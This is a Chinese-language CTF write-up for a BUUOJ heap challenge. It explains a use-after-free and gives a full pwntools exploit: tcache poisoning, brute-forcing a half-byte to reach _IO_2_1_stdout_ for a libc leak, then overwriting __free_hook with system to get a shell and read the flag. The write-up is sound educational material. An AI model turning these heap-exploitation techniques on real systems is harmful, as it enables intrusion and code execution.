我讨厌爆破,还是两次 堆地址+_IO_2_1_stdout_
题目给了一个很明显的UAF
void m3free()
{
int v0; // [rsp+Ch] [rbp-4h]
v0 = readid();
if ( v0 != -1 )
free((void *)qword_202060[v0]);
}
但是也有些限制,一是大小最大0x68,二是活动块只能建4个(这个无所谓,有俩用的就行)
另外edit里一个读入的函数有点坑,读入n+1个字符,n还不能为0,最少2个。这样改堆地址就比较麻烦,需要爆破半字节。
没有show不回显,得爆破libc地址,也是半字节。这样加起来就得爆很长时间。
主要思路:
- 先建两个块,在第1个块里造fake(一个可以释放到unsort的大小)。利用UAF将块建到fake位置,然后释放得到libc(没显示)
- 利用这个位置的指向main_arena的指针修改后两字节为?760(爆破半字节)指向_IO_2_1_stdout_,修改这里得到libc地址。
- 然后就没啥了,UAF将system写到__free_hook,然后将带/bin/sh的块释放即可。
解题代码:
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 26445)
libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
menu = b"choice> "
def add(idx, size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"choice> ", str(idx).encode()) #1-4
p.sendlineafter(b"size> ", str(size).encode())
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"choice> ", str(idx).encode())
def edit(idx, size, msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"choice> ", str(idx).encode())
p.sendlineafter(b"size> ", str(size).encode())
p.sendafter(b"info> ", msg)
def pwn():
context.log_level = 'critical' #'debug'
p.sendlineafter(b'input calendar name> ', b'AAAA')
add(1, 0x38)
add(2, 0x68)
add(3, 0x18)
add(4, 0x18)
free(2)
free(2)
edit(1, 0x10, p64(0)+p64(0x71)+b'\n')
#gdb.attach(p)
#pause()
#lh = int(input('stack=?2:'), 16)
lh = 8
edit(2, 1, b'\x70'+ p8(lh*16+2))
add(2, 0x68)
add(2, 0x68)
free(2) #tcache 0x71
edit(1, 0x10, p64(0)+p64(0xa1)+b'\n')
[free(2) for _ in range(8)]
#lh = int(input('stdout=?760:'), 16)
lh = 8
edit(2, 1, b'\x60'+p8(lh*16+7)) #?760
add(2, 0x68)
add(2, 0x68)
#context.log_level = 'debug' #'critical' #'debug'
edit(2, 4*8, p64(0xfbad1887)+p64(0)*3+p8(0x58))
libc_base = u64(p.recv(8)) - libc_elf.sym['_IO_file_jumps']
libc_elf.address = libc_base
one_gadget= libc_base + one[0]
print('libc:', hex(libc_base))
if p64(libc_base)[5] != 0x7f and p64(libc_base)[5] != 0x7e:
raise('no')
free(3)
free(3)
edit(3, 7, p64(libc_elf.sym['__free_hook']))
add(3, 0x18)
add(3, 0x18)
edit(3, 7, p64(libc_elf.sym['system']))
edit(4, 7, b'/bin/sh\n')
free(4)
p.sendline(b'cat /flag')
p.interactive()
while True:
try:
connect()
pwn()
except KeyboardInterrupt as e:
exit()
except:
p.close()